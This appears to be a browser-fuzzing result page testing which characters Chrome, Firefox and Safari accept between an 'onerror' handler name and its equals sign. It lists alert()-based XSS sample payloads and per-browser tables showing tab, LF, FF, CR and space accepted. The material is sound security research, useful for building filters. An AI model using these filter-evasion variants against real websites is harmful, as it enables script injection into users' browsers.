Character allowed after onerror event
I want to know which characters the browser accepts between an event handler and a equal sign.
Created by: InsertScript
Created on: Tuesday, April 2, 2024 at 9:47:31 AM
Updated on: Wednesday, July 17, 2024 at 10:52:20 AM
Vector type: XSS
Template used:
<img src=x onerror$[chr]=log($[i])>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...
Sample payloads
<img src=x onerror =alert(9)>
<img src=x onerror
=alert(10)>
<img src=x onerror =alert(12)>
<img src=x onerror
=alert(13)>
<img src=x onerror =alert(32)>
Fuzz results
Chrome 123.0.0.0 Unknown Unknown
Found 5 results
| Dec | Hex | Chr |
|---|---|---|
| 9 | 09 | HT |
| Dec | Hex | Chr |
|---|---|---|
| 10 | 0a | LF |
| Dec | Hex | Chr |
|---|---|---|
| 12 | 0c | FF |
| Dec | Hex | Chr |
|---|---|---|
| 13 | 0d | CR |
| Dec | Hex | Chr |
|---|---|---|
| 32 | 20 | SPACE |
Firefox 124.0 Unknown Unknown
Found 5 results
| Dec | Hex | Chr |
|---|---|---|
| 9 | 09 | HT |
| Dec | Hex | Chr |
|---|---|---|
| 10 | 0a | LF |
| Dec | Hex | Chr |
|---|---|---|
| 12 | 0c | FF |
| Dec | Hex | Chr |
|---|---|---|
| 13 | 0d | CR |
| Dec | Hex | Chr |
|---|---|---|
| 32 | 20 | SPACE |
Safari 17.4 Unknown Unknown
Found 5 results
| Dec | Hex | Chr |
|---|---|---|
| 9 | 09 | HT |
| Dec | Hex | Chr |
|---|---|---|
| 10 | 0a | LF |
| Dec | Hex | Chr |
|---|---|---|
| 12 | 0c | FF |
| Dec | Hex | Chr |
|---|---|---|
| 13 | 0d | CR |
| Dec | Hex | Chr |
|---|---|---|
| 32 | 20 | SPACE |